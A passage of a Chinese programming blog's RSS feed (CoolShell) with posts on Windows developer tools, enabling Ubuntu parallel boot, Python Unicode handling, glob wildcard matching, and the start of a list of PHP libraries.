target=\"_blank\">Tunnelier</a> &#8211; SSH 和SFTP 客户端。</p>\n<p><a href=\"http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx\" target=\"_blank\">TweakUI</a> &#8211; 可以修正一些惹人烦的关于Windows UI的小软件。</p>\n<p><a href=\"http://www.ultraedit.com/\" target=\"_blank\">UltraEdit</a> &#8211; Text, hex, HTML, PHP, Java, Javascript, Perl, 等等，一个强大的编辑器。</p>\n<p><a href=\"http://www.realtimesoft.com/ultramon/\" target=\"_blank\">UltraMon</a> &#8211; 多显示器工具。</p>\n<p><a href=\"http://www.undelete-plus.com/\" target=\"_blank\">Undelete Plus</a> &#8211; 恢复被删除的文件。</p>\n<p><a href=\"http://ccollomb.free.fr/unlocker/\" target=\"_blank\">Unlocker</a> &#8211; 有些时候，一些文件被一些进程占着我们无法删除，这个程序就是把这些被锁住的文件解锁。</p>\n<p><a href=\"http://www.roadkil.net/program.php?ProgramID=29\" target=\"_blank\">Unstoppable Copier</a> &#8211; 恢复被物理损坏的硬盘上的文件。允许你从一些坏磁道上把文件备份下来。</p>\n<p><a href=\"http://www.utorrent.com/\" target=\"_blank\">uTorrent</a> &#8211; BitTorrent 客户端。</p>\n<p><a href=\"http://shark007.net/\" target=\"_blank\">Vista 64-bit Codecs</a> &#8211; Windows Vista 64-bit下的音频和视频解码器。</p>\n<p><a href=\"http://www.visualsvn.com/\" target=\"_blank\">VisualSVN</a> &#8211; 为了Microsoft Visual Studio开发的专业的Subversion 集成程序</p>\n<p><a href=\"http://virtuawin.sourceforge.net/\" target=\"_blank\">VirtuaWin</a> &#8211; 虚拟桌面。</p>\n<p><a href=\"http://www.videolan.org/vlc/\" target=\"_blank\">VLC Media Player</a> &#8211; 免费的音频和视频播放器。</p>\n<p><a href=\"http://www.vlite.net/\" target=\"_blank\">vLite</a> &#8211; 一个可以定制Windows Vista 安装的小工具。</p>\n<p><a href=\"http://www.vmware.com/download/server/\" target=\"_blank\">VMware Server</a> &#8211; 在一台机器上运行多个操作系统。</p>\n<p><a href=\"http://www.weblogexpert.com/\" target=\"_blank\">Weblog Expert</a> &#8211; 快速和强大的网站访问log 分析和报告。</p>\n<p><a href=\"http://www.microsoft.com/whdc/devtools/debugging/default.mspx\" target=\"_blank\">WinDbg</a> &#8211; 低层的Windows程序调试工具。</p>\n<p><a href=\"http://www.httrack.com/\" target=\"_blank\">WinHTTrack</a> &#8211; 网页拷贝。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=3E972E9A-E08A-49A2-9D3A-C0519479E85A&amp;displaylang=en\" target=\"_blank\">Windows NT 4.0 Resource Kit</a> &#8211; 老了但可能还是有用的Windows NT 4.0 工具</p>\n<p><a href=\"http://support.microsoft.com/kb/927229\" target=\"_blank\">Windows 2000 Resource Kit</a> &#8211; Windows 2000 工具集</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=9D467A69-57FF-4AE7-96EE-B18C4790CFFD&amp;displaylang=en\" target=\"_blank\">Windows 2003 Resource Kit</a> &#8211; Windows 2003 工具集</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=96a35011-fd83-419d-939b-9a772ea2df90&amp;displaylang=en\" target=\"_blank\">Windows 2003 Support Tools</a> &#8211; Windows 2003 管理工具集</p>\n<p><a href=\"http://windirstat.info/\" target=\"_blank\">WinDirStat</a> &#8211; 磁盘使用统计和清楚工具。</p>\n<p><a href=\"http://www.bitvise.com/winsshd\" target=\"_blank\">WinSSHD</a> &#8211; SSH 服务程序。</p>\n<p><a href=\"http://www.wireshark.org/\" target=\"_blank\">WireShark</a> &#8211; 强大的网络协义抓包分析器。</p>\n<p><a href=\"http://www.zftpserver.com/\" target=\"_blank\">zFTPServer Suite</a> &#8211; FTP 服务程序，以及强大的SSL 加密安全认证。</p>\n<p>（如有不足，请补充）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/W_600-150x150.jpg\" alt=\"Windows的达尔文进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3097.html\" class=\"wp_rp_title\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/506.html\">Windows下和程序员相关小工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/506.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Ubuntu的并行启动</title>\n\t\t<link>https://coolshell.cn/articles/501.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/501.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 13 Apr 2009 03:08:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Ubuntu]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=501</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如果你在使用多核处理器，那么你可以配置Ubuntu的一个参数来使用Ubuntu的启动并行，以加快其启动速度。 这个参数在文件/etc/init.d/rc中，其参...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/501.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如果你在使用多核处理器，那么你可以配置Ubuntu的一个参数来使用Ubuntu的启动并行，以加快其启动速度。</p>\n<p>这个参数在文件<em>/etc/init.d/rc</em>中，其参数名是CONCURRENCY默认值是none，你可以把这个参数改成如下所示。于是，你就开启了Ubuntu的并行启动的功能。</p>\n<p style=\"padding-left: 30px;\">CONCURRENCY=shell</p>\n<p>但是，这个参数会导致dbus, hal和gdm的产生“race condition”竞争条件，所以，这三个程序的启动顺序非常的关键。其必需保证这个顺序：dbus -&gt; hal -&gt; gdm。这个顺序在Ubuntu的Hardy，Intrepid 或Jaunty中是没有问题的。但是，我们不排除在别的版本中会有问题。</p>\n<p><span id=\"more-501\"></span></p>\n<p>所以，在开启“并行启动”时，你需要去检查一下dbus，hal和gdm的启动顺序，其启动顺序你可以在<em>/etc/rc2.d/</em>目录下，查看一个这三个程序的S后面的编号顺序。如果你看到下面的这个顺序，那么你就需要做出调整了。</p>\n<p style=\"padding-left: 30px;\">s12dbus<br />\ns13gdm<br />\ns24hal</p>\n<p>调整也很简单，就是改一下S后面的数字就行了，如下所示：</p>\n<p style=\"padding-left: 30px;\"><span style=\"font-style: italic;\">mv s24hal s13hal</span><br />\n<span style=\"font-style: italic;\">mv s13gdm s14gdm</span></p>\n<p>关于更多详细的情况，请查看这个<a href=\"https://bugs.launchpad.net/ubuntu/+source/hal/+bug/149881\" target=\"_blank\">BUG报告</a> 。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" alt=\"GNU/Linux下有多少是GNU的？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_title\">GNU/Linux下有多少是GNU的？</a></li><li ><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_title\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/501.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python处理中文的时候的一些小技巧</title>\n\t\t<link>https://coolshell.cn/articles/461.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/461.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 12 Apr 2009 10:19:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=461</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信第一次处理中文的朋友们可能都会对中文的encoding 和程序的报错很头疼。 如果你像我一样希望能够把事情尽快做好而不去深究，你可能会写一些异常处理的代码把...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/461.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/461.html\">Python处理中文的时候的一些小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>相信第一次处理中文的朋友们可能都会对中文的encoding 和程序的报错很头疼。</p>\n<p>如果你像我一样希望能够把事情尽快做好而不去深究，你可能会写一些异常处理的代码把 UnicodeEncodingError糊弄过去先，但当你开始怀疑有多少encoding出错的信息被你丢弃的时候，可能你会很惊奇。于是，你还是会想坐下来，（洗把脸）然后面对自己必须弄懂什么是utf-8，什么是 &#8216;gb2312&#8217;， 什么是 &#8216;gbk&#8217; 和其中的猫腻。正如有时候猛撕小伤口上邦迪胶布的快感一样，有时候当你认真面对一些你平时一直回避的问题的时候（其实有时候需要的不是勇气）， 你反而会觉得“不过如此”，并且能够一劳永逸的解决问题。</p>\n<p>关于Python处理Unicode，我所能找到的最言简意赅的入门教程是：</p>\n<h3 class=\"r\"><a class=\"l\" onmousedown=\"return rwt(this,'','','','1','AFQjCNG2KDSlBO51sqZvt1KQ8D2jgaNeSA','&amp;sig2=HRW3IVb7NrhpeTbrPLRDLg')\" href=\"http://farmdev.com/talks/unicode/\"><em><em>Unicode</em> In <em>Python</em>, Completely Demystified </em>（揭秘Python Unicode）</p>\n<p></a></h3>\n<p>简要罗列一下最重要最实用的点：</p>\n<p><span id=\"more-461\"></span></p>\n<p>Solution</p>\n<ol>\n<li><strong>Decode early </strong>（尽早decode, 将文件中的内容转化成 unicode 再进行下一步处理)</li>\n<li><strong>Unicode everywhere </strong>(程序内部处理都用unicode)</li>\n<li><strong>Encode late </strong>(最后encode回所需的encoding, 例如把最终结果写进结果文件)</li>\n</ol>\n<p><strong>1. Decode early</strong></p>\n<blockquote><p>Decode to &lt;type &#8216;unicode&#8217;&gt; ASAP</p>\n<p>&gt;&gt;&gt; def to_unicode_or_bust(</p>\n<p>&#8230;         obj, encoding=&#8217;utf-8&#8242;):</p>\n<p>&#8230;     if isinstance(obj, basestring):</p>\n<p>&#8230;         if not isinstance(obj, unicode):</p>\n<p>&#8230;             obj = unicode(obj, encoding)</p>\n<p>&#8230;     return obj</p>\n<p>&#8230;</p>\n<p>&gt;&gt;&gt;</p>\n<p>detects if object is a string and if so converts to unicode, if not already.</p></blockquote>\n<p><strong>2. Unicode everywhere</strong></p>\n<blockquote><p>&gt;&gt;&gt; to_unicode_or_bust(ivan_uni)</p>\n<p>u&#8217;Ivan Krsti\\u0107&#8242;</p>\n<p>&gt;&gt;&gt; to_unicode_or_bust(ivan_utf8)</p>\n<p>u&#8217;Ivan Krsti\\u0107&#8242;</p>\n<p>&gt;&gt;&gt; to_unicode_or_bust(1234)</p>\n<p>1234</p></blockquote>\n<p><strong>3. Encode late</strong></p>\n<blockquote><p>Encode to &lt;type &#8216;str&#8217;&gt; when you write to disk or print</p>\n<p>&gt;&gt;&gt; f = open(&#8216;/tmp/ivan_out.txt&#8217;,&#8217;w&#8217;)</p>\n<p>&gt;&gt;&gt; f.write(ivan_uni.encode(&#8216;utf-8&#8217;))</p>\n<p>&gt;&gt;&gt; f.close()</p></blockquote>\n<p>我以前一直觉得unicode相关的处理都是很 dirty 的工作，一般都会一边尝试，一边用异常处理去补丁，看完以上这个教程以后豁然开朗。</p>\n<p>祝大家也能早日理清处理中文的时候的头绪，坦然直面“神秘”的unicode<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/461.html\">Python处理中文的时候的一些小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/461.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python脚本如何对文件通配符匹配</title>\n\t\t<link>https://coolshell.cn/articles/444.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/444.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 12 Apr 2009 06:50:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=444</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有时候，我们可能会写一些轻量级的脚本去处理很多符合某种pattern的文件，例如“某目录下的 *logfile.csv&#8221; 但是，我们大多数脚本的参数...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/444.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/444.html\">Python脚本如何对文件通配符匹配</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有时候，我们可能会写一些轻量级的脚本去处理很多符合某种pattern的文件，例如“某目录下的 *logfile.csv&#8221; 但是，我们大多数脚本的参数都是 sys.argv, 如何解析 wildcard 匹配呢？</p>\n<h4>test.py</h4>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\"> from glob import glob\n...\nif __name__ == &quot;__main__&quot;:\n    file_names = glob(sys.argv[1])\n    for file_name in file_names:\n        do_something(file) </pre>\n<p>这样就可以像使用其他终端命令一样使用脚本test.py 进行wildcard匹配了</p>\n<h4>&gt;&gt; test.py ./*logfile.csv</h4>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/444.html\">Python脚本如何对文件通配符匹配</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/444.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>9个强大免费的PHP库</title>\n\t\t<link>https://coolshell.cn/articles/455.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/455.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 12 Apr 2009 04:29:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Akismet]]></category>\n\t\t<category><![CDATA[Amazon S3]]></category>\n\t\t<category><![CDATA[JSON]]></category>\n\t\t<category><![CDATA[pChart]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[PHPMailer]]></category>\n\t\t<category><![CDATA[ReCAPTCHA]]></category>\n\t\t<category><![CDATA[SimplePie]]></category>\n\t\t<category><![CDATA[Smarty]]></category>\n\t\t<category><![CDATA[XML-RPC]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=455</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>1. ReCAPTCHA reCAPTCHA  允许你的网站集成一个Advanced CAPTCHA 系统，这个系统可以帮助你阻止一些垃圾信息。可视化的CAPT...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/455.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/455.html\">9个强大免费的PHP库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h3>1. ReCAPTCHA</h3>\n<p><a href=\"http://recaptcha.net/plugins/php/\"><span style=\"color: #468175;\">reCAPTCHA </span></a> 允许你的网站集成一个Advanced CAPTCHA 系统，这个系统可以帮助你阻止一些垃圾信息。可视化的CAPTCHA 同样也有一个有用的声音功能。另外，在reCAPTCHA 服务里，这个PHP库也包含了一个给 &#8220;Mailhide&#8221; 服务用的API，这个可以把你的邮件地址隐藏于一些抓邮件地址的程序。</p>\n<p>这个API是免费并且非常容易使用的，你需要做的就是申请一个API的KEY。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 327px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/recaptcha.png\" alt=\"ReCAPTCHA\" /></div>\n<p><a 